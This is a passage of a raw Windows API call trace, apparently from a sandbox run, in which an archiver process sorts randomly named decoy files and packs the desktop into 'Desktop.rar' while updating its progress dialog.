[0062.174] CompareStringOrdinal (lpString1="oOWu_URf4xodTCzItb.m4a", cchCount1=-1, lpString2="-mQiD8fm.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.174] CompareStringOrdinal (lpString1="gG_HZ-HV.swf", cchCount1=-1, lpString2="mwUpgAicntsdXOa.wav", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.174] CompareStringOrdinal (lpString1="mwUpgAicntsdXOa.wav", cchCount1=-1, lpString2="-mQiD8fm.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.174] CompareStringOrdinal (lpString1="GAXF44R72SInzUMj.mp3", cchCount1=-1, lpString2="M6unjbqHC6Vi.avi", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.174] CompareStringOrdinal (lpString1="M6unjbqHC6Vi.avi", cchCount1=-1, lpString2="-mQiD8fm.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.174] CompareStringOrdinal (lpString1="oOWu_URf4xodTCzItb.m4a", cchCount1=-1, lpString2="jkHmqBwZLlx L8N.m4a", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.174] CompareStringOrdinal (lpString1="oOWu_URf4xodTCzItb.m4a", cchCount1=-1, lpString2="0RRIlXg9.xls", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.174] CompareStringOrdinal (lpString1="mwUpgAicntsdXOa.wav", cchCount1=-1, lpString2="kZvsWRlw_Unl_4-z2.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.174] CompareStringOrdinal (lpString1="mwUpgAicntsdXOa.wav", cchCount1=-1, lpString2="0RRIlXg9.xls", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.174] CompareStringOrdinal (lpString1="gG_HZ-HV.swf", cchCount1=-1, lpString2="M6unjbqHC6Vi.avi", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.174] CompareStringOrdinal (lpString1="M6unjbqHC6Vi.avi", cchCount1=-1, lpString2="0RRIlXg9.xls", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.174] CompareStringOrdinal (lpString1="GAXF44R72SInzUMj.mp3", cchCount1=-1, lpString2="-mQiD8fm.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.174] CompareStringOrdinal (lpString1="GAXF44R72SInzUMj.mp3", cchCount1=-1, lpString2="0RRIlXg9.xls", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.174] CompareStringOrdinal (lpString1="mwUpgAicntsdXOa.wav", cchCount1=-1, lpString2="jkHmqBwZLlx L8N.m4a", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.174] CompareStringOrdinal (lpString1="mwUpgAicntsdXOa.wav", cchCount1=-1, lpString2="6u_EXsIYn4N.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.174] CompareStringOrdinal (lpString1="M6unjbqHC6Vi.avi", cchCount1=-1, lpString2="kZvsWRlw_Unl_4-z2.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.174] CompareStringOrdinal (lpString1="M6unjbqHC6Vi.avi", cchCount1=-1, lpString2="6u_EXsIYn4N.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.174] CompareStringOrdinal (lpString1="gG_HZ-HV.swf", cchCount1=-1, lpString2="GAXF44R72SInzUMj.mp3", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.174] CompareStringOrdinal (lpString1="gG_HZ-HV.swf", cchCount1=-1, lpString2="6u_EXsIYn4N.jpg", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.174] CompareStringOrdinal (lpString1="M6unjbqHC6Vi.avi", cchCount1=-1, lpString2="jkHmqBwZLlx L8N.m4a", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.174] CompareStringOrdinal (lpString1="M6unjbqHC6Vi.avi", cchCount1=-1, lpString2="0RRIlXg9.xls", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.175] CompareStringOrdinal (lpString1="gG_HZ-HV.swf", cchCount1=-1, lpString2="kZvsWRlw_Unl_4-z2.png", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.175] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a5c4480 | out: hHeap=0x1ec0a590000) returned 1 [0062.175] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x100000) returned 0x1ec0da15040 [0062.177] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x10c0) returned 0x1ec0a6602d0 [0062.177] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x10c0) returned 0x1ec0a663e10 [0062.177] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x10000) returned 0x1ec0a664ee0 [0062.177] CryptAcquireContextW (in: phProv=0xe414dd690, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xe414dd690*=0x1ec0a653e60) returned 1 [0062.473] CryptGenRandom (in: hProv=0x1ec0a653e60, dwLen=0x10, pbBuffer=0xe414dd710 | out: pbBuffer=0xe414dd710) returned 1 [0062.473] CryptReleaseContext (hProv=0x1ec0a653e60, dwFlags=0x0) returned 1 [0062.473] GetSystemTime (in: lpSystemTime=0xe414dd628 | out: lpSystemTime=0xe414dd628*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x27, wMilliseconds=0x3c0)) [0062.473] SystemTimeToFileTime (in: lpSystemTime=0xe414dd628, lpFileTime=0xe414dd620 | out: lpFileTime=0xe414dd620) returned 1 [0062.473] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd650 | out: lpPerformanceCount=0xe414dd650*=15380147605) returned 1 [0062.473] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x100000) returned 0x1ec0db27040 [0062.476] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x10c0) returned 0x1ec0a674ef0 [0062.476] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x10c0) returned 0x1ec0a675fc0 [0062.476] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x10000) returned 0x1ec0a677090 [0062.476] CryptAcquireContextW (in: phProv=0xe414dd690, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xe414dd690*=0x1ec0a653e60) returned 1 [0062.476] CryptGenRandom (in: hProv=0x1ec0a653e60, dwLen=0x10, pbBuffer=0xe414dd710 | out: pbBuffer=0xe414dd710) returned 1 [0062.476] CryptReleaseContext (hProv=0x1ec0a653e60, dwFlags=0x0) returned 1 [0062.476] GetSystemTime (in: lpSystemTime=0xe414dd628 | out: lpSystemTime=0xe414dd628*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x27, wMilliseconds=0x3c0)) [0062.476] SystemTimeToFileTime (in: lpSystemTime=0xe414dd628, lpFileTime=0xe414dd620 | out: lpFileTime=0xe414dd620) returned 1 [0062.476] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd650 | out: lpPerformanceCount=0xe414dd650*=15380497701) returned 1 [0062.477] CreateFileW (lpFileName="Desktop.rar" (normalized: "c:\\users\\fd1hvy\\desktop\\desktop.rar"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0062.477] GetLastError () returned 0x2 [0062.477] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0xe414da5f0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0062.477] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\Desktop\\Desktop.rar" (normalized: "c:\\users\\fd1hvy\\desktop\\desktop.rar"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0062.477] GetLastError () returned 0x2 [0062.477] CreateFileW (lpFileName="Desktop.rar" (normalized: "c:\\users\\fd1hvy\\desktop\\desktop.rar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0062.478] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x20d, lpBuffer=0x7ff6f764fa30, cchBufferMax=512 | out: lpBuffer="Creating archive %s") returned 0x13 [0062.478] GetLastError () returned 0x0 [0062.478] SetLastError (dwErrCode=0x0) [0062.478] SetDlgItemTextW (hDlg=0x10284, nIDDlgItem=165, lpString="Desktop.rar") returned 1 [0062.479] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414daa20, nMaxCount=512 | out: lpString="Preparing files...") returned 18 [0062.479] SetWindowTextW (hWnd=0x10284, lpString="Creating archive Desktop.rar") returned 1 [0062.482] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0062.482] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414d95d0, nMaxCount=2560 | out: lpString="46 files found") returned 14 [0062.482] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0062.482] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414d95d0, nMaxCount=2560 | out: lpString="") returned 0 [0062.482] GetTickCount () returned 0x258b5 [0062.482] UpdateWindow (hWnd=0x10284) returned 1 [0062.483] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414db5d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xe414db5d0*=0) returned 0x0 [0062.483] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414d7cb0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414d7cb0*=0) returned 0x0 [0062.483] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef880 [0062.483] WriteFile (in: hFile=0x32c, lpBuffer=0xe414e2e00*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xe414d6330, lpOverlapped=0x0 | out: lpBuffer=0xe414e2e00*, lpNumberOfBytesWritten=0xe414d6330*=0x8, lpOverlapped=0x0) returned 1 [0062.484] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef880 | out: hHeap=0x1ec0a590000) returned 1 [0062.484] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414d7cb0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414d7cb0*=0) returned 0x8 [0062.484] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefa90 [0062.484] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef910 [0062.484] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefcd0 [0062.484] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef640 [0062.484] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefcd0 | out: hHeap=0x1ec0a590000) returned 1 [0062.484] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef910 | out: hHeap=0x1ec0a590000) returned 1 [0062.484] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0bfefa93*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0xe414d62f0, lpOverlapped=0x0 | out: lpBuffer=0x1ec0bfefa93*, lpNumberOfBytesWritten=0xe414d62f0*=0x11, lpOverlapped=0x0) returned 1 [0062.484] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef640 | out: hHeap=0x1ec0a590000) returned 1 [0062.484] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefa90 | out: hHeap=0x1ec0a590000) returned 1 [0062.484] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x60) returned 0x1ec0a5c50c0 [0062.484] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a5c50c0 | out: hHeap=0x1ec0a590000) returned 1 [0062.484] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x6328) returned 0x1ec0a6870a0 [0062.485] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x358) returned 0x1ec0a65e010 [0062.485] CreateSemaphoreW (lpSemaphoreAttributes=0x0, lInitialCount=0, lMaximumCount=32, lpName=0x0) returned 0x338 [0062.485] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x33c [0062.485] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x40000) returned 0x1ec0bfefdd0 [0062.485] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x358) returned 0x1ec0a65e370 [0062.485] CreateSemaphoreW (lpSemaphoreAttributes=0x0, lInitialCount=0, lMaximumCount=32, lpName=0x0) returned 0x340 [0062.486] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x344 [0062.486] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0xe980) returned 0x1ec0c02fde0 [0062.486] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x8003) returned 0x1ec0c03e770 [0062.487] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x8003) returned 0x1ec0dc30080 [0062.488] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x358) returned 0x1ec0a65e6d0 [0062.488] CreateSemaphoreW (lpSemaphoreAttributes=0x0, lInitialCount=0, lMaximumCount=32, lpName=0x0) returned 0x348 [0062.488] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x34c [0062.489] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x100000) returned 0x1ec0de36040 [0062.491] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x46c8) returned 0x1ec0c046780 [0062.491] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x2000000) returned 0x1ec0df48040 [0062.887] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x801011) returned 0x1ec0ff56040 [0064.357] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x4000) returned 0x1ec0c04ae50 [0064.357] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x80000) returned 0x1ec0dc38090 [0064.359] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x100000) returned 0x1ec1076b040 [0064.361] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x1000000) returned 0x1ec1087a040 [0064.550] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x40000) returned 0x1ec0dcb80a0 [0064.551] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x910a0) returned 0x1ec0dcf80b0 [0065.914] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x1c00000) returned 0x1ec1188c040 [0066.130] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x400000) returned 0x1ec1349b040 [0066.147] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x8090) returned 0x1ec0dd89160 [0066.147] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x8090) returned 0x1ec0dd91200 [0066.148] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x8090) returned 0x1ec0dd992a0 [0066.148] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x8090) returned 0x1ec0dda1340 [0066.148] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x200000) returned 0x1ec138a5040 [0066.267] FindFirstFileW (in: lpFileName="-mQiD8fm.doc", lpFindFileData=0xe414dc4e0 | out: lpFindFileData=0xe414dc4e0) returned 0x1ec0a64d680 [0066.267] FindClose (in: hFindFile=0x1ec0a64d680 | out: hFindFile=0x1ec0a64d680) returned 1 [0066.267] CreateFileW (lpFileName="-mQiD8fm.doc" (normalized: "c:\\users\\fd1hvy\\desktop\\-mqid8fm.doc"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0066.267] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764fe30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0066.267] GetTickCount () returned 0x2677a [0066.267] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd230 | out: lpPerformanceCount=0xe414dd230*=15759605264) returned 1 [0066.267] GetLastError () returned 0x0 [0066.268] SetLastError (dwErrCode=0x0) [0066.268] GetDlgItem (hDlg=0x10284, nIDDlgItem=158) returned 0x10290 [0066.268] GetDlgItem (hDlg=0x10284, nIDDlgItem=153) returned 0x1028e [0066.268] GetWindowTextW (in: hWnd=0x1028e, lpString=0xe414dbe10, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0066.268] ShowWindow (hWnd=0x10290, nCmdShow=9) returned 1 [0066.268] SendMessageW (hWnd=0x10290, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x0 [0066.268] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414dd340, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0066.269] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0066.269] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="46 files found") returned 14 [0066.269] SetWindowTextW (hWnd=0x1028a, lpString="adding") returned 1 [0066.269] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0066.269] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="") returned 0 [0066.269] SetWindowTextW (hWnd=0x1028c, lpString="-mQiD8fm.doc") returned 1 [0066.270] GetTickCount () returned 0x2677a [0066.270] UpdateWindow (hWnd=0x10284) returned 1 [0066.270] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 1 [0066.273] GetMessageW (in: lpMsg=0xe414dd6b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd6b0) returned 1 [0066.273] GetFocus () returned 0x102a8 [0066.273] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd6b0) returned 0 [0066.273] GetKeyState (nVirtKey=16) returned 0 [0066.273] TranslateAcceleratorW (hWnd=0x10284, hAccTable=0x10335, lpMsg=0xe414dd6b0) returned 0 [0066.273] TranslateMessage (lpMsg=0xe414dd6b0) returned 0 [0066.273] DispatchMessageW (lpMsg=0xe414dd6b0) returned 0x0 [0066.273] CryptAcquireContextW (in: phProv=0xe414dd6d0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xe414dd6d0*=0x1ec0a653e60) returned 1 [0066.274] CryptGenRandom (in: hProv=0x1ec0a653e60, dwLen=0x10, pbBuffer=0xe414dd750 | out: pbBuffer=0xe414dd750) returned 1 [0066.274] CryptReleaseContext (hProv=0x1ec0a653e60, dwFlags=0x0) returned 1 [0066.274] GetSystemTime (in: lpSystemTime=0xe414dd668 | out: lpSystemTime=0xe414dd668*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2b, wMilliseconds=0x2f4)) [0066.274] SystemTimeToFileTime (in: lpSystemTime=0xe414dd668, lpFileTime=0xe414dd660 | out: lpFileTime=0xe414dd660) returned 1 [0066.274] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd690 | out: lpPerformanceCount=0xe414dd690*=15760237502) returned 1 [0066.274] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0xc38) returned 0x1ec0a6613a0 [0066.274] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d905040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d905040*, lpNumberOfBytesRead=0xe414dd770*=0x1546f, lpOverlapped=0x0) returned 1 [0066.285] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d91a4af, nNumberOfBytesToRead=0xeab91, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d91a4af*, lpNumberOfBytesRead=0xe414dd770*=0x0, lpOverlapped=0x0) returned 1 [0066.286] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 1 [0066.286] GetMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd610) returned 1 [0066.286] GetFocus () returned 0x102a8 [0066.286] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd610) returned 0 [0066.286] GetKeyState (nVirtKey=16) returned 0 [0066.286] TranslateAcceleratorW (hWnd=0x10284, hAccTable=0x10335, lpMsg=0xe414dd610) returned 0 [0066.286] TranslateMessage (lpMsg=0xe414dd610) returned 0 [0066.286] DispatchMessageW (lpMsg=0xe414dd610) returned 0x0 [0066.286] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.286] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef730 [0066.286] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefac0 [0066.286] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefac0, Size=0x48) returned 0x1ec0a657050 [0066.286] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c4c0 [0066.286] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefbb0 [0066.286] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefbb0, Size=0x48) returned 0x1ec0a656c90 [0066.286] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c4c0 | out: hHeap=0x1ec0a590000) returned 1 [0066.286] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a657050 | out: hHeap=0x1ec0a590000) returned 1 [0066.286] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef760 [0066.286] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef880 [0066.286] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef880 | out: hHeap=0x1ec0a590000) returned 1 [0066.286] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef760 | out: hHeap=0x1ec0a590000) returned 1 [0066.286] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef730, Size=0x48) returned 0x1ec0a657460 [0066.286] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a657460, Size=0x7a) returned 0x1ec0a64aa90 [0066.286] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656c90 | out: hHeap=0x1ec0a590000) returned 1 [0066.286] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64aa90 | out: hHeap=0x1ec0a590000) returned 1 [0066.287] GetTickCount () returned 0x2678a [0066.287] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd5b0 | out: lpPerformanceCount=0xe414dd5b0*=15761530531) returned 1 [0066.287] RtlWakeAllConditionVariable () returned 0x7ff931fa6090 [0066.287] GetTickCount () returned 0x2678a [0066.287] GetLastError () returned 0x0 [0066.287] SetLastError (dwErrCode=0x0) [0066.287] GetDlgItem (hDlg=0x10284, nIDDlgItem=154) returned 0x10296 [0066.287] GetWindowTextW (in: hWnd=0x10296, lpString=0xe414dc190, nMaxCount=2560 | out: lpString="") returned 0 [0066.287] SetWindowTextW (hWnd=0x10296, lpString="00:00:00") returned 1 [0066.287] RtlWakeAllConditionVariable () returned 0x7ff931fa6090 [0066.287] GetTickCount () returned 0x2678a [0066.288] GetDlgItem (hDlg=0x10284, nIDDlgItem=162) returned 0x10298 [0066.288] ShowWindow (hWnd=0x10298, nCmdShow=0) returned 1 [0066.289] GetDlgItem (hDlg=0x10284, nIDDlgItem=151) returned 0x1029a [0066.289] ShowWindow (hWnd=0x1029a, nCmdShow=0) returned 1 [0066.290] GetDlgItem (hDlg=0x10284, nIDDlgItem=151) returned 0x1029a [0066.290] GetWindowTextW (in: hWnd=0x1029a, lpString=0xe414dc190, nMaxCount=2560 | out: lpString="") returned 0 [0066.290] GetTickCount () returned 0x2678a [0066.290] CoCreateInstance (in: rclsid=0x7ff6f75ef5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff6f75ecc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0xe414dd168 | out: ppv=0xe414dd168*=0x1ec0bfef9d0) returned 0x0 [0066.290] TaskbarList:ITaskbarList3:SetProgressState (This=0x1ec0bfef9d0, hwnd=0x10284, tbpFlags=2) returned 0x0 [0066.290] TaskbarList:ITaskbarList3:SetProgressValue (This=0x1ec0bfef9d0, hwnd=0x10284, ullCompleted=0x1546f, ullTotal=0x4f8c9e) returned 0x0 [0066.290] TaskbarList:IUnknown:Release (This=0x1ec0bfef9d0) returned 0x0 [0066.290] GetLastError () returned 0x36b7 [0066.291] SetLastError (dwErrCode=0x36b7) [0066.291] GetDlgItem (hDlg=0x10284, nIDDlgItem=157) returned 0x102a6 [0066.291] GetDlgItem (hDlg=0x10284, nIDDlgItem=152) returned 0x102a4 [0066.291] GetWindowTextW (in: hWnd=0x102a4, lpString=0xe414dbd30, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0066.291] SetWindowTextW (hWnd=0x102a4, lpString=" 1%") returned 1 [0066.291] GetLastError () returned 0x0 [0066.291] SetLastError (dwErrCode=0x0) [0066.291] GetDlgItem (hDlg=0x10284, nIDDlgItem=164) returned 0x102a0 [0066.291] GetWindowTextW (in: hWnd=0x102a0, lpString=0xe414dbd30, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0066.291] ShowWindow (hWnd=0x102a6, nCmdShow=9) returned 1 [0066.291] SendMessageW (hWnd=0x102a6, Msg=0x402, wParam=0x1, lParam=0x0) returned 0x0 [0066.291] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 1 [0066.291] GetMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd610) returned 1 [0066.292] GetFocus () returned 0x102a8 [0066.292] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd610) returned 1 [0066.293] GetPropW (hWnd=0x10284, lpString="Done") returned 0x0 [0066.293] BeginPaint (in: hWnd=0x10284, lpPaint=0xe414db880 | out: lpPaint=0xe414db880) returned 0x24010806 [0066.293] GetLastError () returned 0x2 [0066.293] SetLastError (dwErrCode=0x2) [0066.293] GetDlgItem (hDlg=0x10284, nIDDlgItem=158) returned 0x10290 [0066.294] GetDlgItem (hDlg=0x10284, nIDDlgItem=153) returned 0x1028e [0066.294] GetWindowTextW (in: hWnd=0x1028e, lpString=0xe414d9b10, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0066.294] ShowWindow (hWnd=0x10290, nCmdShow=9) returned 1 [0066.294] SendMessageW (hWnd=0x10290, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x0 [0066.294] CoCreateInstance (in: rclsid=0x7ff6f75ef5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, 